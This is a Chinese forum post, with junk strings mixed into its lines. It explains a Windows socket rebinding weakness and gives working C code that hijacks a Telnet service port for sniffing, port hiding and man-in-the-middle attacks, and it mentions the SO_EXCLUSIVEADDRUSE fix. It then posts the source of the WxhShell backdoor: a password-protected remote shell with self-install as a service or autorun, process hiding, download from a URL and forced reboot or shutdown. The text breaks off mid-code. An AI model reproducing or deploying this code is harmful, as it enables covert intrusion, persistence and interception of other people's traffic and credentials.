社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14725阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8#d99dOe  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mf,Mcvs  
p3'mJ3MA  
  saddr.sin_family = AF_INET; &' oacV=  
5Rt0h$_J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1f bFNxo8M  
~]D \&D9=?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #RZJ1uL  
aL$c).hq0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 UC<[z#]\;  
[M zc^I&  
  这意味着什么?意味着可以进行如下的攻击: vX!dMJa0  
1Tts3O .  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U_=wL  
faKrSmE!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _mq*j^u,j  
jwtXI\@MS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Rqd%#v  
+{ ,w#@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S'H0nJ3  
c Gaz$=/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j)SgB7Q  
LQ&d|giA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5)o-]S>  
{/[?YTDU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3K;b~xg`nw  
]!S)O|_D[  
  #include *j|Tm7C  
  #include 8-l)TTP&.  
  #include  C.TCDl  
  #include    cB9KHqB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   n3@g{4~  
  int main() (B~V:Yt  
  { >t6'8g"T  
  WORD wVersionRequested; 7;#dX~>@{  
  DWORD ret; OYRR'X.E  
  WSADATA wsaData; vN6]6nUOiT  
  BOOL val; ."#jN><t  
  SOCKADDR_IN saddr; h0EGhJs  
  SOCKADDR_IN scaddr; m6ZbYF-7W  
  int err; ZJJl944  
  SOCKET s; ,uD*FSp>  
  SOCKET sc; h"Yqm"U/  
  int caddsize; }C2i#;b  
  HANDLE mt; ne%OTr 4dD  
  DWORD tid;   _bV=G#qKK  
  wVersionRequested = MAKEWORD( 2, 2 ); \~1zAiSd>#  
  err = WSAStartup( wVersionRequested, &wsaData ); K Lv  
  if ( err != 0 ) { "1j\ZCXK_Z  
  printf("error!WSAStartup failed!\n"); )9sr,3w  
  return -1; 2|_Jup  
  } T`2fPxM:cZ  
  saddr.sin_family = AF_INET; PXQ9P<m  
   uB)6\fkTB  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .f!eRV.&  
y<LwrrJ>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bz,cfc;?$  
  saddr.sin_port = htons(23); !`S%l1[Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #5"<.z  
  { keq[ 6Lv  
  printf("error!socket failed!\n");  f"=4,  
  return -1; =)UiI3xHk  
  } XU })3]/  
  val = TRUE; :DF4g=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7!840 :a?+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $Q7E#  
  { E*b[.vUp  
  printf("error!setsockopt failed!\n"); D;8V{Hs  
  return -1; _ JJ0pc9t  
  } fkUH]CdaB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nQYS{`hk  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;s/b_RN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BU?MRcHC  
U;A5-|C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {q>4:lsS  
  { Vv"wf;#  
  ret=GetLastError(); I4p= ?Ds  
  printf("error!bind failed!\n"); _e@qv;*  
  return -1; F'_8pD7  
  } <rI$"=7  
  listen(s,2); %T*+t"\)  
  while(1) a} fS2He  
  { 8gKR<X.G  
  caddsize = sizeof(scaddr); PY:#F|uHS`  
  //接受连接请求 fvAV[9/-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )mO;l/,0  
  if(sc!=INVALID_SOCKET) 21EUP6}8j  
  { pnw4QQ9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S^"e5n2  
  if(mt==NULL) z00:59M4  
  { {%k;V ~  
  printf("Thread Creat Failed!\n"); /!uBk3x:  
  break; s6h Wq&C  
  } e.YchGTQ  
  } 7T;RXrT  
  CloseHandle(mt); n&78~@H  
  } ok _{8z\#  
  closesocket(s); F`}w0=-*(  
  WSACleanup(); uU !i`8  
  return 0; ={0{X9t?'j  
  }   c] 0  
  DWORD WINAPI ClientThread(LPVOID lpParam) +rw3.d  
  { P FFw$\j  
  SOCKET ss = (SOCKET)lpParam; l6U'  
  SOCKET sc; TS8E9#1a  
  unsigned char buf[4096]; (_5+`YsV  
  SOCKADDR_IN saddr; !3v"7l{LF  
  long num; d<m>H$\Dm  
  DWORD val; tU2;Wb!Y  
  DWORD ret; '>3RZ& O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 zLK ~i>aW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~\IDg/9 Cj  
  saddr.sin_family = AF_INET; r.5Js*VX!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \$|UFx  
  saddr.sin_port = htons(23); &Gwh<%=U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !VTS $nJ4  
  { 0A 4|  
  printf("error!socket failed!\n"); E1v<-UPbA  
  return -1; * rANf&y  
  } g]Ny?61  
  val = 100; 3VB V_/i;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H#` ?toS  
  { htSk2N/  
  ret = GetLastError(); #_|^C(]!  
  return -1; k<hO9;#qpL  
  } I~6 ;9TlQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d>-EtWd  
  { z2zp c^i  
  ret = GetLastError(); `7n,(  
  return -1; u"|nu!p`  
  } M_)T=s *  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vt=S0X^$yc  
  { e|9Bzli{  
  printf("error!socket connect failed!\n"); DNO%J^  
  closesocket(sc); ebVfny$D  
  closesocket(ss); x G"p .  
  return -1; NdQ?3'WJ  
  } jC8BLyGE_  
  while(1) raZRa*C;  
  { yiA\$mtO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 En_8H[<%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z|wDM^Lf  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 IT33E%G  
  num = recv(ss,buf,4096,0); NU*6iLIq|F  
  if(num>0) "t`e68{Ls  
  send(sc,buf,num,0); u[qtuM?&  
  else if(num==0) 0evZg@JP`  
  break; @h8~xs~DG  
  num = recv(sc,buf,4096,0); lv&wp@  
  if(num>0) &bx,6dX  
  send(ss,buf,num,0); 9 9-\cQv  
  else if(num==0) 9K(b Z {  
  break; Q :|E  
  } emO!6]0gJ  
  closesocket(ss); k_`S[  
  closesocket(sc); 50`r}s}  
  return 0 ; cIkLdh   
  } j* ?MFvwE  
svgi!=  
qeGOSGc_  
========================================================== ~epkRO="  
gI{F"7fa=  
下边附上一个代码,,WXhSHELL `-2`UGB-  
j. cH,Y  
========================================================== f& *E;l0  
r?7 ^@  
#include "stdafx.h" O-YE6u  
z05pVe/5  
#include <stdio.h> -fn~y1  
#include <string.h> ]7@Dqd-/S  
#include <windows.h> D=]P9XDvb.  
#include <winsock2.h> |.yRo_  
#include <winsvc.h> 2US8<sq+  
#include <urlmon.h> K~G^jAk+  
A":x<9   
#pragma comment (lib, "Ws2_32.lib") `R;XN-  
#pragma comment (lib, "urlmon.lib") ;[ojwcK[ZF  
!;oBvE7Kh  
#define MAX_USER   100 // 最大客户端连接数 7c7SU^hD  
#define BUF_SOCK   200 // sock buffer ?y kIi/  
#define KEY_BUFF   255 // 输入 buffer }wKU=Vm  
kY&j~R[C  
#define REBOOT     0   // 重启 9m>_q Wa A  
#define SHUTDOWN   1   // 关机 F"I@=R-n  
u]-$]zIH  
#define DEF_PORT   5000 // 监听端口 l-rI|0D#  
&[xJfL  
#define REG_LEN     16   // 注册表键长度 ~C3-E %h@Z  
#define SVC_LEN     80   // NT服务名长度 \WEC1+@  
Z_/03K$q  
// 从dll定义API &nn":  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =s<QN*zJB0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c$TBHK;c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -#h \8Xl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _Yv9u'q"  
) Lv{  
// wxhshell配置信息 iFnM6O$(  
struct WSCFG { yuWrU<Kw  
  int ws_port;         // 监听端口 8[ V!e[  
  char ws_passstr[REG_LEN]; // 口令 qm_\#r  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7P]pk=mo  
  char ws_regname[REG_LEN]; // 注册表键名 Y|bGd_j  
  char ws_svcname[REG_LEN]; // 服务名 /V~(!S>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5NK:94&JE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [ q}WS5Cp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9i@*\Ada  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |tkmO:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pw8'+FX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a?dM8zAnc  
LBzpaLd  
}; X^`ld&^*({  
K7U<~f$OiN  
// default Wxhshell configuration qW9|&GuZ$  
struct WSCFG wscfg={DEF_PORT, 6Z 7$ZQ~  
    "xuhuanlingzhe", b`' ;`*AN+  
    1, Mmn[ol  
    "Wxhshell", Iq9+  
    "Wxhshell", +4 dHaj6  
            "WxhShell Service", e3.TGv7=  
    "Wrsky Windows CmdShell Service", f/xBR"'  
    "Please Input Your Password: ", &yuerNK  
  1, ZsE8eD  
  "http://www.wrsky.com/wxhshell.exe", 7u;B[qH  
  "Wxhshell.exe" lsd\ `X5,  
    }; ( s*}=  
QLn5:&  
// 消息定义模块 K4~dEZ   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Sq,x@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .%o:kq@B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NGxuwHIQ8  
char *msg_ws_ext="\n\rExit."; 8LOzL,Ah  
char *msg_ws_end="\n\rQuit."; 94+#6jd e  
char *msg_ws_boot="\n\rReboot..."; ??4QDa-  
char *msg_ws_poff="\n\rShutdown..."; 5M3QRJ!  
char *msg_ws_down="\n\rSave to "; | e+m!G1G  
15B$Sp!/`e  
char *msg_ws_err="\n\rErr!"; ZD*>i=S  
char *msg_ws_ok="\n\rOK!"; g`6S*&8I  
K% ;O$ >  
char ExeFile[MAX_PATH]; !zeBxR$&o  
int nUser = 0; ^^Y0 \3.  
HANDLE handles[MAX_USER]; H 74hv`G9  
int OsIsNt; 0x84 Ah)  
8164SWB  
SERVICE_STATUS       serviceStatus; jhHb[je~{4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *GA#.$n  
`7NgQ*g.d/  
// 函数声明 ;YB8X&H$  
int Install(void); r&#q=R},p  
int Uninstall(void); ^T" A9uaG  
int DownloadFile(char *sURL, SOCKET wsh); zx^)Qb/EL6  
int Boot(int flag);  mJ-@:5  
void HideProc(void); {Su]P {oJ  
int GetOsVer(void); $iV3>>;eh  
int Wxhshell(SOCKET wsl); 8.@ yD^'  
void TalkWithClient(void *cs); HwOw.K<  
int CmdShell(SOCKET sock); &{8 "- dw  
int StartFromService(void); 7+0hIKrFC  
int StartWxhshell(LPSTR lpCmdLine); Z]aSo07  
YWTo]DJV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); McfSB(59  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /g2 1.*Z  
3.>jagu  
// 数据结构和表定义 zMDR1/|D  
SERVICE_TABLE_ENTRY DispatchTable[] = tW(E\#!|p<  
{ Z"P{/~HG  
{wscfg.ws_svcname, NTServiceMain}, ='s2S5#1  
{NULL, NULL} G|o-C:~  
}; &" b0`&l  
Lbd_L  
// 自我安装 G"'DoP7p9  
int Install(void) PRs[:we~~  
{ ar{Yq  
  char svExeFile[MAX_PATH]; ~j UK-E  
  HKEY key; ?p`}6s Q}  
  strcpy(svExeFile,ExeFile); E3`KO'v%  
~_K   
// 如果是win9x系统,修改注册表设为自启动 Dq\#:NnKvx  
if(!OsIsNt) { WvR}c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P0W%30Dh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  X(bb1  
  RegCloseKey(key); 3>;U||O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  3o/f#y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uH`ds+Hp  
  RegCloseKey(key); aPWFb.JO4  
  return 0; [QeKT8  
    } "5{\0CfS  
  } 4((Z8@iX/  
} 9~N7hLT  
else { BWd?a6nU}  
-cG?lEh <  
// 如果是NT以上系统,安装为系统服务 B3K%V|;z )  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]SK(cfA`  
if (schSCManager!=0) DK:d'zb  
{ p/@z4TCNX  
  SC_HANDLE schService = CreateService YTY0N5["  
  ( IUzRE?Kzf  
  schSCManager, bBjVot  
  wscfg.ws_svcname, E#T'=f[r~  
  wscfg.ws_svcdisp, Y5K!DMK Y  
  SERVICE_ALL_ACCESS, ')_jK',1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AX6e}-S1n  
  SERVICE_AUTO_START, I(<1-3~  
  SERVICE_ERROR_NORMAL, =MMWcK&  
  svExeFile, a29mVmi>  
  NULL, 9gjx!t>`H  
  NULL, K":- zS  
  NULL, XfB;^y=u8  
  NULL, 2 !{P<   
  NULL enZW2o97c  
  ); K?P.1H`  
  if (schService!=0) @w@rW }i0  
  { wp$SO^?-  
  CloseServiceHandle(schService); hd+JKh!u  
  CloseServiceHandle(schSCManager); 0(teplo&P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T_pE'U%[  
  strcat(svExeFile,wscfg.ws_svcname); IDv@r\Xw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S# SA:>8s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !iITX,'8  
  RegCloseKey(key); 6Ba>l$/q  
  return 0; *,mbZE=<  
    } n1$p esr  
  } 2_UH,n  
  CloseServiceHandle(schSCManager); 5JQq?e)n  
} cpf8f i  
} ~ 5`Ngpp  
3"%:S_[  
return 1; 60-LpGhvy  
} * _U z**M  
QD7>S(p  
// 自我卸载 'M YqCfIK  
int Uninstall(void) erqg|TsFj  
{ IgZX,4i=o  
  HKEY key; y=-d*E  
>[ywrB ?T  
if(!OsIsNt) { <4^a (Zh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )6Z)z;n]aW  
  RegDeleteValue(key,wscfg.ws_regname); 6]na#<  
  RegCloseKey(key); _k _F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <#sB ;  
  RegDeleteValue(key,wscfg.ws_regname); ePB=aCZ  
  RegCloseKey(key); R~)c(jj5  
  return 0; lAV6z%MmM  
  } Onby=Y o6  
} (iH5F9WO  
} ( ]'4_~e  
else { 6<FJ`l]U9  
5h1FvJg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lLo FM  
if (schSCManager!=0) m &c8@-T  
{ h?fv:^vSi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pqx=j_st  
  if (schService!=0) YgrBIul  
  { 8V.x%T  
  if(DeleteService(schService)!=0) { CQ6Z[hLWF  
  CloseServiceHandle(schService); |\Jpjm)?  
  CloseServiceHandle(schSCManager); %F1 Ce/  
  return 0; MhHygZT[}  
  } KYd2=P6  
  CloseServiceHandle(schService); <c^m |v  
  } hZ5h(CQ?"#  
  CloseServiceHandle(schSCManager); +*~?JT  
} FtT+Q$q=  
} y~Sh|2x8v  
-0Y8/6](  
return 1; =)(sN"%  
} zEpcJHI%  
@R(6w{h9  
// 从指定url下载文件 #2{ };)  
int DownloadFile(char *sURL, SOCKET wsh) zT`LPs6T  
{ &-s!ko4z  
  HRESULT hr; kT!FC0E{  
char seps[]= "/"; r68'DJ&m3  
char *token; 'l!tQD!  
char *file; KKl8tI\u~  
char myURL[MAX_PATH]; 9^3y\@ m  
char myFILE[MAX_PATH]; d*7 Tjs{\  
+Q8B in  
strcpy(myURL,sURL); bxK1v7  
  token=strtok(myURL,seps); sGc4^Z%l?  
  while(token!=NULL) +wgNuj0=*  
  { }I9\=jT  
    file=token; &iId<.SiJ  
  token=strtok(NULL,seps); b_z;^y~  
  } YSs9BF:a  
b-;+&Rb  
GetCurrentDirectory(MAX_PATH,myFILE); zgJ%Zr!~  
strcat(myFILE, "\\"); |*e >hk  
strcat(myFILE, file); MX xRM~  
  send(wsh,myFILE,strlen(myFILE),0); /F5g@ X&  
send(wsh,"...",3,0); w f,7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m("! M~1  
  if(hr==S_OK) =ugxPgn  
return 0; 5NZob<<  
else 0Zs}y\J`  
return 1; A|O7W|"W  
x{6/di  
} }2|>Y[v2j  
rH8w||S2U  
// 系统电源模块 hmHm;l  
int Boot(int flag) !dv  
{ ??CtmH  
  HANDLE hToken; H"N o{|^<  
  TOKEN_PRIVILEGES tkp; a.y_o50#T  
A_muuOIcI  
  if(OsIsNt) { \8'fy\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9P#E^;L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f|cd_?|  
    tkp.PrivilegeCount = 1; tq8B)<(]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x24  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &s>HiL>f  
if(flag==REBOOT) { k^}8=,j}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #Wey)DI  
  return 0; 8&7LF  
} (A}##h  
else { lUJ/ nG0l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s+gZnne  
  return 0; Qv,8tdx  
} hw:zak#j,  
  } ]j(2FM)#  
  else { y ]xG@;4M  
if(flag==REBOOT) { }xJ9EE*G/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )@DH&  
  return 0; Vv~rgNh  
} 6.kX~$K  
else { a)$"   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }#ZQ\[  
  return 0; -o#HO_9  
} zRbooo{N  
} , |CT|2D>  
Q/o !&&  
return 1; H[#s&Fk2  
} wXIsc;  
awQ f$  
// win9x进程隐藏模块 U$@p"F@P  
void HideProc(void) TMj(y{2  
{ IT5AB?bxH  
*lRP ZN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jbcJ\2  
  if ( hKernel != NULL ) ER~m &JI  
  { $m]~d6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \Q7Nz2X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Adp:O"-H1o  
    FreeLibrary(hKernel); # 8 0DM  
  } P/5bNK!  
jFf2( AR  
return; ~gQ$etPd  
} s,XKl5'+8e  
) E.KB6  
// 获取操作系统版本 h4N!zj[  
int GetOsVer(void) Sh(  
{ XP~bmh,T,  
  OSVERSIONINFO winfo; t$^1A1Ef  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S'#KPzy.  
  GetVersionEx(&winfo); <yz)iCU?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iK8aj)%Q@  
  return 1; N>!RKf:ir  
  else L!s/0kBg  
  return 0; 6*9hAnH  
} RL7OFfMe  
S^'?s fq  
// 客户端句柄模块 0 1<~~6A  
int Wxhshell(SOCKET wsl) _Bm/v^(  
{ 2V %si6  
  SOCKET wsh; 1^ZQXUzl%i  
  struct sockaddr_in client; c'B6E1}sx  
  DWORD myID; . #`lW7  
Njsz=  
  while(nUser<MAX_USER) ykcW>h  
{ 6!7LgM%4  
  int nSize=sizeof(client); }w .[ZeP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y^$^B,  
  if(wsh==INVALID_SOCKET) return 1; )u?pqFH  
+X6x CE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u&Ts'j  
if(handles[nUser]==0) E/z^~;KA  
  closesocket(wsh); g((glr)6M  
else M&o@~z0  
  nUser++; aZEi|\VU  
  } "Opk:;.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :#W40rUb  
T[*1*303  
  return 0; Z ? `  
} 9SF2  
l]D?S]{a  
// 关闭 socket Lh.?G#EM  
void CloseIt(SOCKET wsh) ?;Dh^mc  
{ /4{ 6`  
closesocket(wsh); 'X&sH/>r  
nUser--; ov&4&v  
ExitThread(0); ,5^XjU3c=  
} ;/?M&rX  
2>BWu  
// 客户端请求句柄 )7@f{E#w  
void TalkWithClient(void *cs) Y^DS~CrM  
{ d#E]>:w9  
5VI c  
  SOCKET wsh=(SOCKET)cs; {`5Sh1b  
  char pwd[SVC_LEN]; h.CbOI%Q  
  char cmd[KEY_BUFF]; Wm>[5h%>  
char chr[1]; @b[{.m U  
int i,j;  x~p8Mcv  
Im7<\ b@  
  while (nUser < MAX_USER) { 'F>eieO  
"]h4L  
if(wscfg.ws_passstr) { ` b a}6D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |@#37  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _)s<E9t2N  
  //ZeroMemory(pwd,KEY_BUFF); MTJ ."e<B  
      i=0; 'L|& qy@  
  while(i<SVC_LEN) { tSX<^VER7  
% C~2k?  
  // 设置超时 ~ED8]*H|`  
  fd_set FdRead; ;|_aACina  
  struct timeval TimeOut; 3aIP^I1  
  FD_ZERO(&FdRead); i}teY{pyc  
  FD_SET(wsh,&FdRead); s;V~dxAiv  
  TimeOut.tv_sec=8; `k b]tf  
  TimeOut.tv_usec=0; d,kh6'g2@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b|mWEB.p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A;~lG3j4  
lnuf_;0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bH4'j/3  
  pwd=chr[0]; hu}`,2  
  if(chr[0]==0xd || chr[0]==0xa) { V5w00s5?%  
  pwd=0; K%AbM#o<  
  break; YjaEKM8*  
  } (B|4wR\  
  i++; 4CA(` _i~  
    } |iN!V3#S  
hTgWqp  
  // 如果是非法用户,关闭 socket PwP;+R};|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :pj 00  
} I&JVY8'  
z}I=:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W4n;U-Hb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Ud1 ag!-  
\a\-hm  
while(1) { U9k;)fK  
`K -j  
  ZeroMemory(cmd,KEY_BUFF); AX6z4G  
HKu? J  
      // 自动支持客户端 telnet标准   f Z8%Z   
  j=0; thG;~ W  
  while(j<KEY_BUFF) { &+V6mH9m@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z*&y8;vUQ  
  cmd[j]=chr[0]; n8W+q~sW%  
  if(chr[0]==0xa || chr[0]==0xd) { V1 y"  
  cmd[j]=0; lAjP'(  
  break; ffMh2   
  } W/03L, 1  
  j++; k?r -%oJ7  
    } n^F:p*)Q%  
:)f/>-   
  // 下载文件 8!8 yA  
  if(strstr(cmd,"http://")) { ( R2432R}J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UjCQ W:[  
  if(DownloadFile(cmd,wsh)) 6)<g%bH!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); * V;L|c  
  else oU/CXz?H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tQ!p<Q= $)  
  } ee7#PE]}  
  else { |'@c ~yc  
S$9>9!1>*  
    switch(cmd[0]) { SN w3xO!;&  
  BET3tiHV  
  // 帮助 <}e2\x  
  case '?': { /S4$qr cM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j1/.3\  
    break; u,h,;'J  
  } Ns?qLSN  
  // 安装 Xvy3D@o  
  case 'i': { 9A|deETa-  
    if(Install()) 'Xj9sAB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wh PwD6l>  
    else *Uq1 q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0 #*M'C#  
    break; m417=wf  
    } b.=bgRV2{x  
  // 卸载 Fh2$,$ 2  
  case 'r': { xd[GJ;xvs  
    if(Uninstall()) e,j2#wjor  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hC1CISm.U  
    else zJ-_{GiM*L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }M3f ?Jv  
    break; .M Ni)+  
    } S"t6 *fWr  
  // 显示 wxhshell 所在路径 ryhme\%l;f  
  case 'p': { ;%-f>'KhI7  
    char svExeFile[MAX_PATH]; }^T7S2_Qy  
    strcpy(svExeFile,"\n\r"); Zp5;=8wa;  
      strcat(svExeFile,ExeFile); 6yDc4AX  
        send(wsh,svExeFile,strlen(svExeFile),0); pwj?  
    break; w5j6RQml  
    } *g0}pD;r  
  // 重启 %V40I{1  
  case 'b': { g&z)y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z0o+&3a6  
    if(Boot(REBOOT)) 7Jm&z/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /-Saz29f^Q  
    else { FE}!I  
